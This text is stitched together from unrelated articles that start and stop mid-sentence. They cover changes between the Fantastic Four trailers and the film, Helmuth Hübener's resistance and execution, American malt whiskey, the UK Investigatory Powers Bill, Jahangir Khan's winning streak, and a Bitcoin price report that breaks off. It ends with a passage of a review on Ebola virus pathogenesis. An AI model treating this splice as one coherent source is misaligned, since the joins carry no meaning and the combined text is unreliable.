reason for a scene that actually shows us this important information. 20th Century Fox Several trailers also feature this evocative shot of Johnny flaming on after discovering the results of Doom’s rampage. This means that there used to be a scene where our heroes actually gave a crap about the bad guy’s murder spree instead of simply leaping into battle with him. 20th Century Fox The Changing Face of Planet Zero Note the colors in those screenshots from the earlier Fantastic Four trailers. The glowing energy seeping out of the ground on Planet Zero is red in the previews and green in the finished movie. Another Twitter user noted that Doom’s black-hole contraption also got a makeover between the trailers and the finished film: Baseball and Clobbering Time In one change that has left fans rightfully irritated, the new movie reveals that Ben Grimm’s iconic catchphrase (“It’s clobberin’ time!”) was inspired by the abuse he suffered as a young boy at the hands of his older brother. Because yes, superheroes always adopt the words of their tormentors when it comes time to punch bad guys in the face. But what if this wasn’t always the case? What if this was added later after other key scenes were removed? This is pure speculation on our part, so bear with us. In the trailer, we catch a glimpse of Ben Grimm playing baseball. This scene is not in the finished movie. 20th Century Fox Other trailers double down on the baseball thing. There’s this shot of him hitting a ball at the sign advertising his family’s junkyard. 20th Century Fox Knowing that these scenes were shot and knowing that this movie was, at some point, based on the Ultimate version of the Fantastic Four, read this page from Ultimate Fantastic Four #10, written by Warren Ellis and drawn by Stuart Immonen: Marvel Huh. Huh.Sixteen-year-old Helmuth Hübener couldn’t believe his ears. As he crouched in a closet in Hamburg, secretly listening to his brother’s forbidden short-wave radio, the voice of the BBC announcer painted a picture of Nazi Germany that was dramatically different from the one he had been told to believe. When Hitler and Nazi officials went on the radio to talk to Germans like Hübener, they spoke of impending victory and praised the greatness of their country. But the Germany the BBC described—and the progress of the war its reporters tracked—sounded like it was on the brink of disaster. As he listened to that forbidden radio broadcast in 1941, Hübener decided to tell his fellow Germans the truth about Nazi Germany. Within months he would be dead—the youngest-ever victim of the Third Reich’s infamous People’s Court. ADVERTISEMENT Thanks for watching! Visit Website Hübener’s short life was shaped by the rise of fascism in Germany. The Nazis changed nearly every facet of everyday life for Germans, and the boy was no exception. A devoted Boy Scout, he was forced to become part of the Hitler Youth, the youth arm of the Nazi Party, when the Nazis banned the organization in 1935. Germany’s young fascists receive famous salute during a mass march in Berlin, 1934. (Credit: Bettmann/Getty Images) None of this sat well with Hübener, and in 1938, when he was 13 years old, he quit the Hitler Youth when they participated in Kristallnacht, a night of terror during with Nazi sympathizers destroyed synagogues, set fire to Jewish property and attacked Jews. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website He was disturbed by other changes, too. A member of The Church of Jesus Christ of Latter-day Saints, he watched as the leader of his church joined the Nazi Party and the congregation became increasingly supportive of the Third Reich. It was a common move for Mormon churches in Germany and occupied countries, as many congregations worried they might be persecuted by the Nazis, too. These events upset him, and the teenager began to question the Nazis’ hatred of Jews and the Third Reich’s growing control of German society. As he became older and started working as a trainee in social administration, Hübener realized that others had the same doubts. Then he began listening to forbidden radio broadcasts and became convinced that the regime was not just racist and manipulative, but was losing the war. Hübener’s actions were extremely risky. Radio had helped the Nazis rise to power by spreading their messages to a mass audience. Once the Third Reich took over Germany, they began to use the radio to control the population. They flooded the airwaves with propaganda broadcasts, spreading false reports of glorious victories and bright prospects where there were none. Plaque for Helmut Hubener. (Credit: Hinnerk11/Wikimedia Commons/CC BY-SA 4.0) It was forbidden to listen to any non-government radio transmissions, like the BBC’s multi-language broadcasts. However, many Germans disobeyed. For people like Hübener, radio from other countries was the only way to learn the truth about the war. Hübener decided to spread these facts to people who didn’t dare listen to the outlawed broadcasts. With the help of three friends, he wrote, printed and distributed up to 60 pamphlets that included information from the BBC and called on Germans to resist Hitler. They stuck the pamphlets in coat pockets, left them in phone booths, and pinned them to bulletin boards. According to German propaganda, the Pearl Harbor attack had destroyed the United States’ ability to fight a war in Europe. Hübener provided details to the contrary, assuring Germans that rumors of American military weakness were lies. He disputed official accounts of the war on the Eastern front, too, revealing that despite Germany’s insistence that battles in Russia had been won, they were still raging weeks after propaganda reports that victory had already been achieved. Hübener’s pamphlets countered the Nazi message of victory in battle. They also fought back against Nazi propaganda that encouraged all Germans to support a war effort that was not just justified, but sure to succeed. Roland Freisler, the President of the ‘National Socialist People’s Court’ (Volksgerichtshof). Here he is reading out the verdict against the eight suspects of the assassination attempt on Hitler, the so-called July Plot, at the court in Berlin, 1944. (Credit: DPA/Picture-Alliance/AP Images) “The Führer has promised you that 1942 will be decisive and this time he will stop at nothing to keep his promise,” he wrote in one pamphlet. “He will send you by the thousands into the fires in order to finish the crime he started. By the thousands your wives and children will become widows and orphans. And for nothing!” For months, Hübener spread the word about lost battles and Nazi lies. But in February 1942, a coworker who saw him writing the pamphlets turned him in to Nazi officials. He was arrested and tried before the Volksgerichtshof, or People’s Court, a Nazi-controlled tribunal that dealt with matters of treason. Hübener and his friends were imprisoned in Berlin’s Plötzensee Prison along with other political prisoners. The prison was notorious for its harsh treatment of prisoners and as a site of countless summary executions. For ten weeks, the boys were tortured and intimidated as they awaited trial. When the Nazi head of Hübener’s congregation found out about the arrest, he excommunicated the boy from the Mormon Church. Finally, the trial arrived. Hübener, who was just 17 years old, was tried as an adult. Rather than argue for his release, the boy instead confronted the judges about the Nazi regime and the war. When a judge asked him if he really thought Germany would lose the war, he asked, “Don’t you?” His friends later told family members that they thought Hübener was purposely baiting the judges so they’d give the other boys less severe sentences. Memorial in the execution room at Ploetzensee Prison, Berlin, Germnay. (Credit: Siegfried Grassegger/imageBROKER/REX/Shutterstock) That’s exactly what happened. His friends were sentenced to imprisonment in labor camps, but Helmuth Hübener was convicted of conspiracy to commit high treason and treasonous furthering of the enemy’s causes and sentenced to death by beheading. Because his crime was considered so serious, Hübener’s sentence gave the Nazis legal justification for both his execution as a minor and the torture he had already withstood. When asked if he had anything to say before his sentencing, Hübener confronted the judges again. “I have to die now for no crime at all,” he said. “Your turn is next!” On October 27, 1942, guards told Hübener that Adolf Hitler had personally refused to commute his death sentence. Hours later, he was beheaded—the youngest person ever executed by the Third Reich.When Daric Schlesselman had the idea to start a distillery several years ago, a related notion followed on its heels: He’d buck the trend by making a malt whiskey. He’d always been partial to scotch, which is distilled with malted barley, and he figured putting an American spin on a malt whiskey would set him apart in a market awash in bourbons and ryes. “I saw an opportunity to bring an American approach to this very classic whiskey,” says Schlesselman, owner of Van Brunt Stillhouse in Red Hook, noting that at the time only a very few stateside distillers were making such whiskeys. It seems quite a few others spied the same business opportunity. Lately, the number of American craft distillers making malt whiskeys — a style long dominated by the Scots — has boomed. It’s still a minuscule share of the bourbon-dominated American whiskey market, but there are now dozens of small-batch American makers where only a handful existed just a few years ago. “It’s exploding,” says veteran whiskey maker Dave Pickerell, who works with a number of craft spirits makers and is master distiller at Hillrock Estate Distillery in Ancram in upstate New York. “All of a sudden the malts are just breaking off.” And they’re giving their whiskey cousins across the pond a run for their money. At the American Craft Distillers Association competition in February, where Pickerell served as a senior judge, there were more malt whiskeys entered than bourbons or ryes for the first time ever. In New York alone there are at least a half-dozen relatively new varieties, including Pine Barrens Single Malt from Long Island; Hudson and Hillrock single malts from the Hudson Valley; 287 Single Malt from StilltheOne Distillery in Port Chester; and Schlesselman’s Van Brunt Stillhouse Malt Whiskey. The current spike is an outgrowth of the American craft spirits movement that’s led to a boom in small distilleries in recent years. The malt flavors appeal to such distillers, in part, because it’s a way to stand out in a saturated market. “Being new, you have to set yourself apart,” says Ed Tiedge of StilltheOne in Port Chester, who released his first bottling of single malt last December. “There are a lot of good bourbons out there, so you ask yourself, what other things can we do? Malt whiskey is something the big producers aren’t doing.” The definition of what is Scottish malt is very tightly controlled, and that’s not true here, so distillers can do all sorts of funky things. We’re much more geared toward innovation. - Allan Roth, beverage director at Char No. 4 And, notes Allan Roth, the beverage director at the whiskey-centric Brooklyn bar Char No. 4, many fledgling craft distillers have backgrounds in brewing beer — “so they’re used to working with malted barley. There’s a natural synergy.” A handful of American distillers are doing their best to mimic the venerable single malts from across the pond. Pickerell, for example, has a whiskey in the works for Hillrock for which he’ll smoke the barley with imported Scottish peat and aim to reproduce a “nice Highland Scotch.” But most are taking a New World approach to an Old World form and creating something that’s new and distinctly American. “As much as I like scotch, it’s a tradition-bound product — there’s almost no innovation,” says Schlesselman, who calls his malt whiskey “decidedly American.” He tweaks his blend to get “a lot of caramelized and roasted flavors that just don’t exist in scotch”; while the oak barrels give it some bourbon character, that’s “drier and spicier, with a lot more complexity.” With their “rustic charm,” American malt whiskeys “hold their own category,” says Heather Greene, the whiskey sommelier at the Flatiron Room, who once lived in Scotland and served on the Scotch Malt Whisky Society Tasting Panel. “You get such strong individual character shining through.” That’s the beauty of American malts, agrees Roth, who points to envelope-pushers like Triple Smoke from Tennessee’s Corsair, made from barley smoked with cherry and beech wood as well as peat. “The definition of what is Scottish malt is very tightly controlled, and that’s not true here, so distillers can do all sorts of funky things,” says Roth. “We’re much more geared toward innovation.”IPB The Home Secretary will formally introduce the Investigatory Powers Bill to Parliament on Tuesday, it is rumoured, inviting criticism that the Snoopers' Charter is being rushed through while MPs are distracted by the UK's looming EU membership referendum. The final draft of Theresa May's new Snoopers' Charter is ready to be put forward, despite the 123 recommendations which had been made by three separate Parliamentary inquiries within the last four weeks. As The Independent claimed: “Government whips have told Labour that the Bill will be published on 1 March, with a second reading – giving MPs a line-by-line debate on the Bill – scheduled for 14 March. The Bill will then go to committee stage for scrutiny on 22 March, with a final vote expected in Parliament by the end of April.” Some amendments have been made to the draft bill, but the content of the revisions are not yet known – and the speed of the Home Office's schedule for the bill's passage through Parliament suggests there will be little room for MPs to analyse them. The Home Secretary's previous attempt to explain why mass surveillance is necessary did little to convince Lib Dem peer Lord Strasburger. Rumours #IPBill out on 1 March unlikely to be true. Would be massive insult to Parliament - govt would have ignored 3 critical reports — Paul Strasburger (@LordStras) February 23, 2016 Looks like Govt will defy 3 parliamentary committees (who demanded careful consideration of many changes) & rush out the #IPBill next week. — Paul Strasburger (@LordStras) February 24, 2016 Is Theresa May trying to slip the massive #IPBill through while parliament focuses on EU Referendum? She doesn't seem to want much debate. — Paul Strasburger (@LordStras) February 24, 2016 The Don't Spy On Us coalition stated that its members recognised the time constraints the government faces with the IPB, but believed it would be necessary to split the bill to meet them. We understand the Government's desire to pass the Investigatory Powers Bill before December 2016 when the Data Retention and Investigatory Powers Act (DRIPA) sunset clause expires. We believe that the best way to address this would be to split the Bill. The data retention powers that are affected by the imminent sunset clause could be published as a stand alone Bill and dealt with in the relevant timeframe. This would enable full consideration to be given to the committees’ recommendations and scrutiny of the remaining powers. According to the the Indie, David Davis – an outspoken backbench Conservative MP – disputed the government's argument in this area, stating that DRIPA's sunset clause could be extended for another year. Davis suggested triggering this extension was necessary, as “when you work it out, it’s a 300-page Bill – so that’s something like five seconds to consider each line on second reading.” “It all keeps with [the government's] strategy,” added Davis, “which is to rush everything through. They know when they engage with experts they lose. This is the way they will try to get this through – on the rush. There’s no doubt about it.” ®Jahangir Khan became the youngest world champion, aged 17, in 1981 Squash legend Jahangir Khan's winning run of 555 matches - a record in any sport - has been questioned in a new book. The Pakistani, widely regarded as the greatest player of all time, went five and a half years without losing between 1981 and 1986. Rod Gilmour, co-author of 'Jahangir Khan: 555', said: "We believe that it could be significantly lower." However, ex-world number one Jahangir, 52, reckons the tally "could be more". He added: "The 555 figure should only be my tournament matches. I played invitational, exhibition and challenge matches. "It could be between 600 to 700 matches if you include the others. Because I wasn't losing those either." Jahangir won the World Open six times and the British Open Championship 10 times in succession between 1982 and 1991. Gilmour and Alan Thatcher have researched record books, annuals, magazines and newspaper reports in writing their book. "I grew up reading reports of Jahangir Khan and even then he seemed a mythical, magical figure to me," said Gilmour. "There were no statisticians at the time chronicling his matches and not once has the figure been highlighted in press reports of the time." Jahangir, whose winning run was ended by Ross Norman in the 1986 World Championship, retired in 1993. The authors do not dispute the timeframe, but Thatcher said they "wanted to solve for accuracy's sake" the final tally. He added: "The real figure? It's hard to say. "But it could be lower than 500, which would mean that Dutch wheelchair tennis great Esther Vergeer could lay claim to the record." Vergeer, who won her fourth consecutive Paralympic singles gold in London in 2012, went unbeaten for 10 years, winning 470 matches before retiring in 2013.Bitcoin price: $229.82 (£150.25, €203.62) via CoinDesk.com Bitcoin has seen a modest surge over the last 24 hours, rising in price by around 3% against the US dollar to take its market cap back up above $3.25bn. Litecoin and dogecoin followed in bitcoin's lead, recording an increase in value of between 2% and 4% since yesterday. Anonymity-focussed dash (formerly darkcoin) was the only major cryptocurrency to experience negative movement, dropping by 1.5%. MasterCard weighs in on bitcoin The potential benefits of digital currencies such as bitcoin are outweighed by the risks, according to MasterCard. In a four-page
infected with the Zaire virus or VSV pseudotyped with the Zaire GP following incubation with convalescent human plasma or serum (Takada et al. 2003).. Antibody Dependent Enhancement of Ebolavirus Infection. (A) Human kidney cells infected with Zaire virus in the presence or absence of purified mouse antibodies (B) Human kidney cells were infected with the Zaire virus or VSV pseudotyped with the Zaire GP following incubation with convalescent human plasma or serum (Takada et al. 2003). Among the five strains of Ebola virus, the Zaire strain appears to be the most virulent, with a mortality rate of up to 90%. Despite extensive research, the molecular basis for this virulence has not been determined. However, this question came a bit closer to being answered thanks to the work of Takada et al. [45]. They were able to demonstrate that the infectivity of the Zaire strain of virus was markedly enhanced in the presence of mouse monoclonal antibodies, suggesting an antibody-dependent enhancement of infection (Fig 8A). Furthermore, serum samples collected from patients infected with the Ebola Zaire virus during the 1995 outbreak in Kikwit, Democratic Republic of the Congo (no. 2 and 6), enhanced the infectivity of virus in human embryonated kidney cells [45] (Fig 8B). Figure 9. C1q-mediated Antibody Dependent Enhancement of Ebolavirus Infection (Model). Ebola virus initiates infection by binding to its specific receptors (top panel). C1q enables binding between the virus-antibody complex and C1q ligands on the cell surface, promoting interaction between the virus and its receptor (bottom panel). Binding of the virus via the C1q molecule increases the likelihood of viral attachment to the cell surface. (Takada et al. 2003).. C1q-mediated Antibody Dependent Enhancement of Ebolavirus Infection (Model). Ebola virus initiates infection by binding to its specific receptors (top panel). C1q enables binding between the virus-antibody complex and C1q ligands on the cell surface, promoting interaction between the virus and its receptor (bottom panel). Binding of the virus via the C1q molecule increases the likelihood of viral attachment to the cell surface. (Takada et al. 2003). The authors had previously shown that antibody-dependent enhancement requires a heat-labile serum factor that can interact with the Fc portion of antibodies since heat treatment reduced the infectivity-enhancing ability of antiserum to GP. Protein A, a surface protein from the cell wall of the bacteria Staphylococcus aureus that binds the Fc region of immunoglobulins, had the same effect. The authors thus decided to study complement component 1 (C1), an initial component of the classical complement pathway, since it is heat labile, binds to Fc and also interacts with cell surface molecules. This complex consists of C1q and two serine protease proenzymes, C1r and C1s. Experiments proved that the infectivity of Ebola virus was enhanced in the presence of mouse monoclonal antibodies and purified C1q, demonstrating that antibody-dependent enhancement is mediated by the C1q molecule [45]. These findings all suggest a novel mechanism of enhancement: multiple IgG antibodies bind to GP epitopes in close proximity, allowing the binding of C1 to the Fc region of the antibodies (Fig 9). This complex binds C1q ligands on the cell surface and stabilizes the interaction between the virus and its receptor, increasing the likelihood of viral attachment. C1q ligands have been identified on many cell types, including the monocytes/macrophages and endothelial cells that are preferentially targeted by this hemorrhagic virus. Therefore, while antibodies normally protect the body, this virus is able to use them for faster and easier attachment to target cells [45]. In addition being an essential cofactor for the viral RNA polymerase complex, VP35 has been identified as an inhibitor of multiple components of the interferon (IFN) pathways [1] (Fig 10,12). These are a family of cytokines produced in response to viral infection that exert antiviral, cell growth-inhibitory and immunoregulatory activities. Upon viral infection, the IFN response can be triggered by sensors such as retinoic acid-inducible gene I (RIG-I) protein and the melanoma differentiation-associated gene 5 (MDA-5) protein that recognize dsRNA or ribonucleoprotein complexes (Fig 10). However, VP35 is able to disrupt this pathway just as it begins by competing with RIG-1 for the binding of dsRNA [6]. Figure 10. Proposed Stimulation of the Interferon Pathway.. Proposed Stimulation of the Interferon Pathway. [7] Under normal circumstances, signal propagation occurs through the mitochondrion-associated adapter IFN-β promoter stimulator 1 (IPS-1) which subsequently activates inhibitor of κB kinase epsilon (IKKε) and TANK-binding kinase (TBK-1). These in turn phosphorylate the otherwise inactive interferon regulatory factors 3 (IRF-3) to promote IFN- α/β secretion (Fig 10). IRF-3 is a constitutively expressed transcription factor that is predominantly cytoplasmic when in its inactive form. Following its activation by serine/threonine phosphorylation near its carboxy terminus, the protein dimerizes and moves into the nucleus to bind DNA and interact with histone acetyltransferases. This factor contributes to the immediate activation of IFN-β gene expression and of select IFN-α genes as well as several other genes with potential antiviral activity [26] (Fig 10). However, VP35 inhibits IRF-3 activation primarily by inhibiting its phosphorylation. Results indicate that in the absence of this antagonist activity, large amounts of IFN-α/β would be produced that would inhibit viral spread [2]. In addition, these interferons influence the production of other immunoregulatory cytokines. This mechanism therefore provides a possible explanation for the blocking of dendritic cell maturation visualized during Ebola infection which impairs T-cell activation and proliferation [22]. Another mechanism of inhibition involves a physical interaction between VP35 and the cellular kinases IKKε and TBK-1. Immunoprecipitation data suggests that VP35 may succeed in targeting these proteins by interacting with their relatively similar kinase domains. In addition, the viral protein can disrupt IKKε and IPS-1 interactions, partially preventing the activation of these kinases at high virion concentrations [35]. Once bound to their receptors, interferons activate the Janus tyrosine kinase / signal transducer and activator (JAK/STAT) signaling pathway that stimulates transcription of genes encoding antiviral proteins such as protein kinase R (PKR). Upon binding to dsRNA, PKR is activated and phosphorylates translation initiation factor eIF-2, which then arrests protein synthesis and inhibits viral replication [15]. Figure 11. Inhibition of Host STAT1 Pathways by Viruses.. Inhibition of Host STAT1 Pathways by Viruses. [8] VP35 is also able to counteract the antiviral action of interferon in infected cells by suppressing the pathway regulated by double-stranded RNA-dependent protein kinase PKR. It accomplishes this goal by inhibiting phosphorylation of PKR and eIF-2α. This ability seems independent to the dsRNA binding activity of the protein, and might involve inhibition of the activity of PACT, a cellular protein that activates PKR under stress conditions [15]. Recently, the C-terminal IRF inhibitory domain has been shown to be crucial in blocking PKR activation, going so far as to reverse phosphorylation of the host protein [41]. Figure 12. Generalized Inhibition of Immune Response.. Generalized Inhibition of Immune Response. [9] Fatal Ebola infections are marked by unchecked viral replication combined with an inadequate antiviral response. In order for this to occur, the early antiviral innate immune response must be delayed or inhibited. As evidenced by all of these proposed mechanisms, VP35 clearly plays a critical role in the pathogenesis of this extremely deadly virus. As previously mentioned, the second matrix protein, VP24, suppresses interferon production as well. The binding of IFN-α/β and IFN-γ to their respective receptors activates STAT complexes, a family of transcription factors that regulate immune system gene expression. Normally, STAT1:STAT2 heterodimers and STAT1 homodimers are transported to the nucleus by karyopherin α1 and activate numerous genes involved in antiviral activities (Fig 11). However, VP24 competes with STAT1 to bind karyopherin α1, blocking nuclear accumulation and leading to inhibition of IFN signaling [37]. During infection, monocytes/macrophages in the lymphoid tissues are early and sustained targets of this deadly virus. Since these cells usually elicit the response cascade in the acute phage of inflammation, their early infection helps Ebola evade the immune system while subsequently spreading throughout the host. In addition, infected macrophages release increased amounts of nitric oxide (NO), a gaseous hormone that normally functions in cell communication. However, in high concentrations, NO depresses the mitochondrial membrane potential, causing apoptosis in nearby natural killer cells [17] (Fig 12). So far, most of the processes by which Ebola escapes or hampers immune response involve viral structure proteins. However, other studies have implicated a role of sGP in immune system evasion. During viral infection, large amounts of proinflammatory cytokines like tumor necrosis factor alpha (TNF-α) are secreted from infected macrophages and cause disruption of the endothelial barrier (Fig 12). Surprisingly, when sGP was administered simultaneously with TNF-α, it caused a recovery of barrier function [49]. This suggests an anti-inflammatory role of sGP that helps to explain somewhat mysterious observations during infection. When a patient is suffering from Ebola, tissue destruction can be seen in multiple organs. However, these areas are not infiltrated by leukocytes, which instead appear to congregate within the adjacent vascular system. It appears that the recruitment of neutrophils via an activated endothelium has occurred, but the transmigration process is blocked by the anti-inflammatory effect of sGP [49]. In addition, sGP shares many neutralizing epitopes with GP, suggesting that this secreted protein may serve as a decoy that absorbs antibodies [20] (Fig 12). Viral Entry As the first step of the viral life cycle, entry into the host cell is a popular drug target as infection could be stopped before replication disrupts cell function. However, the entry mechanism of Ebola virus is poorly understood. Many enveloped viruses, Ebola virus included, rely upon endocytosis to infect cells. Several distinct endocytic mechanisms exist in mammalian cells, and can be distinguished by the type of cargo they carry as well as the proteins involved in their regulation [10]. However, all mechanisms ultimately transport virions through successive endocytic vesicles until a compartment with adequate conditions, low pH in the case of Ebola, is reached [42]. Upon membrane fusion, the capsid moves into the cell cytoplasm at a site where replication proceeds optimally. Figure 14. Ebolavirus Entry is Independent of Clathrin and Caveolar Endocytosis. Neither DN protein had a significant impact on ZEBOV infection (A) or entry (B). (Saeed et al. 2010).. Ebolavirus Entry is Independent of Clathrin and Caveolar Endocytosis. Neither DN protein had a significant impact on ZEBOV infection (A) or entry (B). (Saeed et al. 2010). Previous studies to clarify the entry mechanism of Ebola have produced conflicting results, with involvement of clathrin-mediated endocytosis [4], caveolin-mediated endocytosis [12] and a Rho GTPase-dependent pathway that may suggest macropinocytosis all being implicated [36]. However, all of these experiments were performed using retrovirus-based pseudotypes in which GP is coated onto the surface of a retrovirus capsid containing a recombinant genome. This removes the need to work in a biosafety level four laboratory, but suffers from non-ideal biochemical characteristics. Only recently have experiments been performed with wild-type Ebola virus Zaire that demonstrate that cellular entry involves uptake by a macropinocytosis-like mechanism [38] (Fig 13). Figure 15. Cholesterol-enriched Lipid Raft Microdomains are Important for Ebolavirus Entry. Green = gfpZEBO-VLP; Red = CTxB of lipid rafts (Saeed et al. 2010).. Cholesterol-enriched Lipid Raft Microdomains are Important for Ebolavirus Entry. Green = gfpZEBO-VLP; Red = CTxB of lipid rafts (Saeed et al. 2010). Throughout these experiments, the researchers relied heavily upon both infectious Zaire Ebola virus (ZEBOV) as well as morphologically comparable virus-like particles (VLPs) composed of VP40, GP and Nef-luciferase fusion protein. Immunofluorescence staining for matrix protein VP40 was used to determine infection when infectious virions were used, but these experiments are not specific for viral uptake. Importantly, a cell entry assay utilizing VLPs was used to discriminate between blocks in virus entry versus blocks in later steps in the infection cycle. In this case, virus-endosomal membrane fusion was monitored by luciferase release from VLPs into the cytoplasm [38]. Figure 16. Ebolavirus Entry is Inhibited by Amiloride. EIPA, specific inhibitor of Na/H exchanger key in macropinosome formation, inhibits ZEBOV infection (D) and entry (E)(Saeed et al. 2010).. Ebolavirus Entry is Inhibited by Amiloride. EIPA, specific inhibitor of Na/H exchanger key in macropinosome formation, inhibits ZEBOV infection (D) and entry (E)(Saeed et al. 2010). Saeed et al. first sought to further elucidate the role of clathrin-mediated endocytosis (CME) and caveolin-mediated endocytosis (CavME) in cellular entry of Ebola virus by utilizing specific dominant-negative mutations (DN), alterations that produce an altered gene product that acts antagonistically to the wild-type allele, of Eps15 and caveolin-1. Eps15 and caveolin-1 are required for the formation of CME and CavME vesicles respectively, so their DN mutations inhibit their respective endocytosis pathways with high specificity. They determined that neither DN mutation had a significant impact on Ebola infection or entry, indicating that neither CME not CavME play a major role in these processes (Fig 14). Further experimentation in the same vein proved that cell entry of the virus is independent of dynamin, a large GTPase that plays a critical role in CME and CavME [38]. Saeed et al. later determined that Ebola virus associates with lipid rafts during entry by visualizing extensive co-localization of gfpZEBO-VLPs with the lipid raft protein CTxB (Fig 15). They therefore knew that they were looking for a dynamin-independent, lipid raft-dependent, non-clathrin/non-caveolar endocytic mechanism of entry [38]. Macropinocytosis is one such path that has already been shown to be important for the uptake of vaccinia virus [30]. This mechanism is associated with outward extensions of the plasma membrane formed by actin polymerization. These so called membrane ruffles can fold back upon themselves and form a macropinosome upon fusion of the distal loop ends [51] (Fig 13). Figure 17. Actin and Actin Regulatory Proteins are Important in Ebolavirus Infection. ZEBO-VLPs associate with actin (G) and VASP (H) (Saeed et al. 2010).. Actin and Actin Regulatory Proteins are Important in Ebolavirus Infection. ZEBO-VLPs associate with actin (G) and VASP (H) (Saeed et al. 2010). The involvement of macropinocytosis was tested through the use of EIPA (5-(N-ethyl-N-isopropyl amiloride), a potent and specific inhibitor of Na+/H+ exchanger activity important for macropinosome formation. They discovered a dose-dependent inhibition of gfpZEBOV infection as well as severe inhibition of ZEBO-VLP entry in the presence of this amiloride (Fig 16). Further experiments determined that Ebola virions colocalize with internalized dextran, a complex polysaccharide taken in by macropinocytosis, and requires the activity of p53-activated kinase 1, another hallmark of this entry pathway. Lastly, it was noted that gfpZEBO-VLPs were associated with Arp2 and vasodilator-stimulated phosphoprotein (VASP), two actin-associated proteins that promote actin assembly (Fig 17). This also points towards macropinocytosis, since actin is required for the formation of plasma membrane ruffles as well as vesicle trafficking [38]. All of these findings points towards a macropinocytosis-like pathway as the primary internalization method of Ebola. They also indicate a role of actin in viral entry and suggest that the virus can actively promote localized actin remodeling through its interaction with Arp2 and VASP. The mechanism by which the virus causes macropinocytosis is not understood, but most likely involves the interaction of GP with cell surface receptors. The receptor tyrosine kinase Ax1 and integrin βI have been implicated as viral receptors, with evidence that several other receptor tyrosine kinases and integrins can trigger macropinocytosis [38]. Filovirus Transcription During transcription, the RNA genome is transcribed into seven monocistronic mRNAs whose length is determined by highly conserved start and stop signals. These start signals are predicted to form stable stem-loop structures [40]. Just as in other negative sense RNA viruses, the transcription process begins with the binding of the polymerase complex to a single binding site located within the leader region of the genome. The complex then slides along the RNA template and sequentially transcribes the individual genes in their 3’ to 5’ order. However, the polymerase is released from the template following mRNA formation, so reinitiation at downstream genes is attenuated. Thus, the first gene, NP, is transcribed at the highest levels, whereas the last gene, L, is transcribed at the lowest [11]. VP30 is assumed to be a transcription activation factor that is essential for the viral life cycle. While the mechanism is not completely understood, it is suggested that this protein is involved in initiation because VP30-dependent transcription is regulated by RNA of the first transcription start signal. The first 23 nucleotides of this NP mRNA are involved in stem-loop structure formation which might interfere with the progression of transcription by physically hampering polymerase movement [52]. However, the N-terminus of VP30 contains a Zn+2 binding Cys-His motif [31] and is rich in basic amino acids, allowing it to directly interact with RNA [23]. Therefore, the protein could either resolve or cover this secondary structure and allow transcription to proceed. Further research has also shown that VP30 is important in transcription reinitiation, and may bind stem-loops formed by the promoter of each Ebola virus gene [29]. Interestingly, VP24 has also been shown to inhibit transcription and replication of the Ebola virus genome. While the exact mechanism has not yet been elucidated, it is possible that VP24 binds to NP and hampers the function of VP35, VP30 or L. This interference could be important in converting the viral genome from a transcription or replication competent form to one that is ready for virion assembly and egress [50]. Disruption of Cell Adhesion Expression of Ebola GP in cultured cells causes a disruption in cell adhesion that results in a loss of cell-cell contacts, as well as a loss of attachment to the culture substrate. The effects of GP are caused by the mucin domain, a highly glycosylated region of GP1 composed of roughly 150 amino acids and containing numerous N- and O- linked glycosylation sites (Fig 18). While this loss of endothelial cell attachment is key for the characteristic hemorrhaging, only recently has a mechanism for the disturbance of cell adhesion been proposed [16]. Figure 18. Domain Structure of GP. (Lee et al. 2008).. Domain Structure of GP. (Lee et al. 2008). For years, staining by flow cytometry has associated Ebola infection with a reduction in membrane levels of β1 integrin, a receptor that mediates attachment with the extracellular matrix, as well as major histocompatibility complex 1 (MHC1), a molecule important in immune system recognition [44]. While these effects were previously assumed to result from removal of surface proteins, Francica et al. propose that GP-mediated loss of surface protein recognition occurs via steric shielding of surface epitopes [16]. Observations that this down regulation is relieved by enzymatic removal of carbohydrate modification suggests that the steric occlusion is mediated by N- and O-linked modification of GP. In fact, the O-linked glycosylation of the mucin domain may promote an extended conformation that allows this domain to serve as a 150 residue long flexible rod that can mask domains in the immediate vicinity. Inherent in this mechanism is the fact that GP must localize in close proximity to the affected proteins, possibly explaining the variety of cell receptors regulated by this viral protein. This mechanism also helps the virus in immune system avoidance. The ability of GP to mask MHC1 may be a strategy for avoiding CD8 T cell-mediated killing of Ebola infected cells [16]. Viral Budding Figure 19. Budding of newly assembled Ebolavirus virions is mediated by VP40. (Noda et al. 2002).. Budding of newly assembled Ebolavirus virions is mediated by VP40. (Noda et al. 2002). Figure 20. COPII Transport System.. COPII Transport System. [11] The VP40 matrix protein is a necessary for virion egress, and can actually form virus-like particles that bud from the cell surface in the absence of all other viral proteins (Fig 19). This process is mediated by viral L-domains in the N-terminus of the protein that interact with host factors such as Nedd4 and Tsg101. The human ubiquitin ligase Nedd4 is part of an ubiquitination enzyme cascade that covalently links multiple ubiquitin copies to VP40. In contrast, Tsg101 is involved in selecting ubiquitylated cargo for incorporation in multi-vesicular bodies that are subsequently secreted by the cell [46]. However, VP40 has to be transported to the plasma membrane before it can induce budding. Recent evidence suggests that the viral protein utilizes the COPII transport system through interaction with host protein Sec24C during intracellular transport to the plasma membrane (Fig 20). This system is responsible for vesicular transport from the ER to the Golgi, so VP40 most likely encounters Sec24C at an early point in its intracellular transport. However, the process of cargo transport to the plasma membrane as well as the process of VP40 dissociation from the complex must still be clarified [54]. While the plasma membrane was initially viewed as a randomly arranged lipid bilayer, it has recently been shown that this cell barrier is much more complex in nature. Certain cholesterol enriched regions known as lipid rafts have been implicated in such diverse functions as channeling external signals into specific second messenger pathways [8] and mediating cell-cell interactions [32]. These processes are possible because these regions concentrate relevant molecules in specialized microenvironments. While these properties are certainly important for cell function, these lipid platforms also serve as a coordination site for the intimate reactions of Ebola virus proteins required for assembly and budding. This increases the efficiency of virus budding, while lowering the chance that defective, noninfectious particles will be released [3]. These rafts may also impact viral pathogenicity as well as host immune response. Cell signaling molecules normally located in lipid rafts can be incorporated into the envelope of budding virions and used to ensure more efficient replication by affecting biochemical processes of newly infected cells [3]. Adhesion proteins could enhance viral entry, while incorporation of certain glycosylphosphatidylinositol (GP1) linked proteins can inhibit the complement pathways CD55 and CD59, which help the virus evade complement-mediated lysis [39]. Connecting the Cellular Mechanism to the Hemorrhagic Fever The Ebola virus is normally transmitted by direct contact with infected body fluids or skin/mucus membrane contact. Once inside the body, the virus attacks macrophages and monocytes, relying upon host antibodies and complement component 1 for efficient infection [45]. The white blood cells respond by releasing large amounts of proinflammatory cytokines that increase permeability of the vascular endothelium, which facilitates easier entry into the virus's secondary targets, endothelial cells (Fig 20). These cytokines also recruit 